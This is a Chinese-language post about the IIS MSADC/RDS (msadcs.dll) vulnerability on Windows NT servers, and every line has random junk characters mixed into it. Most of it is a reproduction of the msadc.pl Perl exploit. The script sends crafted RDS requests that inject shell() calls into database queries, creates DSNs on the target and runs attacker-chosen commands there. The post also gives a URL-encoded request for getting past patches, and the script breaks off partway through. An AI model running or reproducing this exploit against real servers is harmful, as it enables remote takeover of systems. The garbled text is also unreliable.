IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
YjxF}VI~< =cm~vDl[ 涉及程序:
lku[dQdk Microsoft NT server
Ye2 {f"F |=`~-i2W 描述:
/aZ+T5O 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VUPXO zO ).T
M_ 详细:
p i
%<Sy 如果你没有时间读详细内容的话,就删除:
{^CY..3
A c:\Program Files\Common Files\System\Msadc\msadcs.dll
G6/p1xy>o: 有关的安全问题就没有了。
|iE50, dQV;3^iUY 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
DW5Y@;[
[|(N_[E|6 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Tn*9lj4 关于利用ODBC远程漏洞的描述,请参看:
pWK(z[D 5-aj2>=7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x[h^[oF0 bwD,YC 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
S ?{#r http://www.microsoft.com/security/bulletins/MS99-025faq.asp pA9+Cr!0Q &7PG.Ff!r 这里不再论述。
nExU#/*~^ qf!p 9@4F[ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
YH vLGc% oU056 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
g!lWu[d 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
$Tu61zq gl\\+VyU /?@3.3sl_ #将下面这段保存为txt文件,然后: "perl -x 文件名"
pGJ>O/% %?}33yV
#!perl
i~I%D%; #
fVF2-Rh= # MSADC/RDS 'usage' (aka exploit) script
n>ULRgiT:o #
yeXx',]a # by rain.forest.puppy
A
mNW0.} #
5ymk\Lw # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
piPR=B+ # beta test and find errors!
AgS7J(^&3 wQ^EYKD use Socket; use Getopt::Std;
a%kQl^I4 getopts("e:vd:h:XR", \%args);
gp>3I!bo[K g)#W>.Asd print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L^}_~PO N5 iII=;:p if (!defined $args{h} && !defined $args{R}) {
)wC?T print qq~
Q.l}NtHwV Usage: msadc.pl -h <host> { -d <delay> -X -v }
uJzG|$; -h <host> = host you want to scan (ip or domain)
TW)c#P43K -d <seconds> = delay between calls, default 1 second
(s.0PO` -X = dump Index Server path table, if available
c6h.iBJ' -v = verbose
,K9*%rW) -e = external dictionary file for step 5
WI-&x
' lAb*fafQy Or a -R will resume a command session
2oVSn" '[AlhBX ~; exit;}
w>pq+og& ED=V8';D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XGYbnZ~
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
h2Ld[xvCu% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)J2mM if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
oI
}VV6vO $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Uwf+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yv t. L
6c 40 if (!defined $args{R}){ $ret = &has_msadc;
>V-A;S: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[@VP?74
}Yb[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^E;kgED5 . "cmd /c ";
pMw*9sX $in=<STDIN>; chomp $in;
IwQ"eUnK $command="cmd /c " . $in ;
eD,.~Y#?= NjVYLn<.r if (defined $args{R}) {&load; exit;}
FHj"
nB ]<ldWL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}AB,8n` &try_btcustmr;
4 ezEW|S \UPjf]& print "\nStep 2: Trying to make our own DSN...";
r)y=lAyF> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
J\+0[~~ [w0QZyUn print "\nStep 3: Trying known DSNs...";
|XQIfW]A &known_dsn;
3@kf@Vf Bmr>n6| print "\nStep 4: Trying known .mdbs...";
SheM|I~de &known_mdb;
.B7,j%1r TrlZ9?3#D if (defined $args{e}){
mWoAO@}Y print "\nStep 5: Trying dictionary of DSN names...";
;&9)I8Us &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"|EM;o /sx@$cvW print "Sorry Charley...maybe next time?\n";
JZ)RGSG i exit;
)#?"Gjf~ j'Gt&\4 ##############################################################################
PQy4{0 _ -.1y(k^4E sub sendraw { # ripped and modded from whisker
T-.% sleep($delay); # it's a DoS on the server! At least on mine...
Bal$+S my ($pstr)=@_;
/Lfm&; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kjIAep0rT die("Socket problems\n");
^yW L,$ if(connect(S,pack "SnA4x8",2,80,$target)){
6</xL9#/ select(S); $|=1;
zBCtd1Xrni print $pstr; my @in=<S>;
A
9( x select(STDOUT); close(S);
/a{la8Ni return @in;
* aN } else { die("Can't connect...\n"); }}
9+j0q% YN/|$sMD| ##############################################################################
s3z$e+A8 ?M8dP%&r sub make_header { # make the HTTP request
|?!~{-o my $msadc=<<EOT
"Lzi+1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
abuh`H# User-Agent: ACTIVEDATA
fY{1F Host: $ip
WJQvB=D& Content-Length: $clen
K18}W*$
d Connection: Keep-Alive
:0Bq^G"ge C6VLy x ADCClientVersion:01.06
6c}h(TkB Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@@R7p ,BH@j%Jmy --!ADM!ROX!YOUR!WORLD!
BBaQ}{F8>2 Content-Type: application/x-varg
APvDP? Content-Length: $reqlen
o*-)Tq8GHE U_M$#i{_ EOT
Z?6%;n^ 54 ; $msadc=~s/\n/\r\n/g;
@3) (BpFe return $msadc;}
qyZ"
%Kz J1,9kCO ##############################################################################
(/z_Q{"N E%yNa]\P sub make_req { # make the RDS request
o*b] p- my ($switch, $p1, $p2)=@_;
2y//'3[ my $req=""; my $t1, $t2, $query, $dsn;
SON-Z"v 0]'7_vDs| if ($switch==1){ # this is the btcustmr.mdb query
\.0^n3y $query="Select * from Customers where City=" . make_shell();
VU#`oJ:{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
X.OD`.!> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7r7YNn/? 'H3^e} elsif ($switch==2){ # this is general make table query
@ju@WY45$^ $query="create table AZZ (B int, C varchar(10))";
;ic3).H $dsn="$p1";}
|LRedD7n {
d=^}-^ elsif ($switch==3){ # this is general exploit table query
iJ-23_D $query="select * from AZZ where C=" . make_shell();
2a-w%
(K $dsn="$p1";}
)Lk639r QiQ_bB!\ elsif ($switch==4){ # attempt to hork file info from index server
w^?>e;/\ $query="select path from scope()";
/$ w%Q-p $dsn="Provider=MSIDXS;";}
Ok|*!!T 4;w;'3zq elsif ($switch==5){ # bad query
sQ=]NF)\ $query="select";
hB"fhX $dsn="$p1";}
{Bk[rCl P60~V"/P $t1= make_unicode($query);
>W%EmnLK $t2= make_unicode($dsn);
A}BVep@D $req = "\x02\x00\x03\x00";
iIvc43YV% $req.= "\x08\x00" . pack ("S1", length($t1));
4-?C> $req.= "\x00\x00" . $t1 ;
.~)q};Z $req.= "\x08\x00" . pack ("S1", length($t2));
Cl5uS%g $req.= "\x00\x00" . $t2 ;
zvvhFN2s $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
o15-ZzE- return $req;}
"~#3&3HVS N,`$M.|? ##############################################################################
mi=Q{>rb iNWw;_|1 sub make_shell { # this makes the shell() statement
:yL] ;J return "'|shell(\"$command\")|'";}
"fQ~uzg=" .!Qki@ ##############################################################################
%<)2/|lCd w;;BSJ]+[ sub make_unicode { # quick little function to convert to unicode
c>,'Y)8 my ($in)=@_; my $out;
@GPCwE1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
SAH-p*. return $out;}
c-x,fS"&W 61,;Uc\T ##############################################################################
e|NG"< L(/e&J@>< sub rdo_success { # checks for RDO return success (this is kludge)
/1Qr#OJ(] my (@in) = @_; my $base=content_start(@in);
QHDXW1+|^ if($in[$base]=~/multipart\/mixed/){
BTlk
E tm return 1 if( $in[$base+10]=~/^\x09\x00/ );}
m.JBOq= return 0;}
j5QuAU8 J &o|QG ##############################################################################
cW~}:;D4 e
h&IPU S sub make_dsn { # this makes a DSN for us
!SC`D])l my @drives=("c","d","e","f");
1[mXd print "\nMaking DSN: ";
7P%%p3 foreach $drive (@drives) {
G|[ =/>~B print "$drive: ";
OPetj.C/a my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
S$f9m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
aKV$pC<[o . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
+s"hqm $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,QOG!T4 return 0 if $2 eq "404"; # not found/doesn't exist
+cD<:"L'g if($2 eq "200") {
Qn^' foreach $line (@results) {
:<ka3<0% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
<vnHz?71c } return 0;}
b1?#81 Kc!}`Pm ##############################################################################
}wWKFX QgrpBG sub verify_exists {
\n" {qfn`r my ($page)=@_;
QsGiclU my @results=sendraw("GET $page HTTP/1.0\n\n");
3RiWZN return $results[0];}
H;D>|q Qwz}B ##############################################################################
)bA;?i Bt[/0>i sub try_btcustmr {
\@-@Y my @drives=("c","d","e","f");
f"B3,6m my @dirs=("winnt","winnt35","winnt351","win","windows");
#c!*</ b[__1E9v' foreach $dir (@dirs) {
(ScxLf=] print "$dir -> "; # fun status so you can see progress
#&cI3i foreach $drive (@drives) {
+y,T4^{ print "$drive: "; # ditto
eiuSvyY $reqlen=length( make_req(1,$drive,$dir) ) - 28;
g6W)4cC8a $reqlenlen=length( "$reqlen" );
S_iMVHe $clen= 206 + $reqlenlen + $reqlen;
)r';lGh2# YSs)HV.8 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
062,L~&E if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"MxnFeLM# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Okgv!Nt8)A kHkpx52 ##############################################################################
^le<} y6@0O%TDN sub odbc_error {
Q0$8j-1I my (@in)=@_; my $base;
*aX F5S my $base = content_start(@in);
>@BnV{ d if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,c$,!.r $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rjl`&POqc $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?J'Y& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a! (4Ch return $in[$base+4].$in[$base+5].$in[$base+6];}
v.\*./-i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f'8kish print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
+[Dj5~V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
3yANv?$a -1Jg?cPzk ##############################################################################
+O'3|M {Z{75} sub verbose {
TH)"wNa my ($in)=@_;
hrmut*<| return if !$verbose;
.=U#eHBdAQ print STDOUT "\n$in\n";}
Pnw]Tm}g zh4#A
<e ##############################################################################
4p e'06: RFKtr sub save {
6L:x^bM my ($p1, $p2, $p3, $p4)=@_;
J`^ag' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
"vA}FV%tRq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jnd[6v=C7- close OUT;}
<DpevoF U6=..K!q ##############################################################################
\%u3 ]5BX:% sub load {
sPd Gw~{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,"2s` YC open(IN,"<rds.save") || die("Couldn't open rds.save\n");
bAsYv*t%r @p=<IN>; close(IN);
:s=NUw_^ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
,l%CX.9 $target= inet_aton($ip) || die("inet_aton problems");
AUeu1(
print "Resuming to $ip ...";
<m:m &I
8@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7}1~%:6 if($p[1]==1) {
]I-Z]m" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Rn#KfI:{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7ByTnYe~S my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
]&?Y~"{cD if (rdo_success(@results)){print "Success!\n";}
3WN`y8l else { print "failed\n"; verbose(odbc_error(@results));}}
Kfm5i Q elsif ($p[1]==3){
F8hw#!Aq if(run_query("$p[3]")){
XttqOf print "Success!\n";} else { print "failed\n"; }}
hZ[E7=NTQ^ elsif ($p[1]==4){
-7m:91x if(run_query($drvst . "$p[3]")){
_AYXc] 4% print "Success!\n"; } else { print "failed\n"; }}
OtSL*'7> exit;}
.#wqXRd mt9.x ##############################################################################
rL/H2[d |]QqXE-7 sub create_table {
Mc#*wEo)8 my ($in)=@_;
W>!_|[a $reqlen=length( make_req(2,$in,"") ) - 28;
2#o>Z4 r{ $reqlenlen=length( "$reqlen" );
j0Bu-sO$w $clen= 206 + $reqlenlen + $reqlen;
W8Q|$ZJ88F my @results=sendraw(make_header() . make_req(2,$in,""));
og4UhP^UET return 1 if rdo_success(@results);
?MXejEC my $temp= odbc_error(@results); verbose($temp);
dG@"!!, return 1 if $temp=~/Table 'AZZ' already exists/;
`{,Dy!rL return 0;}
@|LBn6q *+'x~a ##############################################################################
Ny_lrfh) [ Z:ni$7<. sub known_dsn {
8iW;y2qF # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-r#X~2tPzD my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
##KBifU" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
rxr{/8%f% "banner", "banners", "ads", "ADCDemo", "ADCTest");
M@h|bN ur*T%b9& foreach $dSn (@dsns) {
(E/lIou print ".";
AGH|"EWG next if (!is_access("DSN=$dSn"));
+$X#q8j06 if(create_table("DSN=$dSn")){
C(S'#cm print "$dSn successful\n";
1<+2kBuY if(run_query("DSN=$dSn")){
kR]!Vr*yh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)=\#UE+W print "Something's borked. Use verbose next time\n";}}} print "\n";}
ktnuNsp m1n.g4Z&* ##############################################################################
jxiC
Kx,G U;bK!&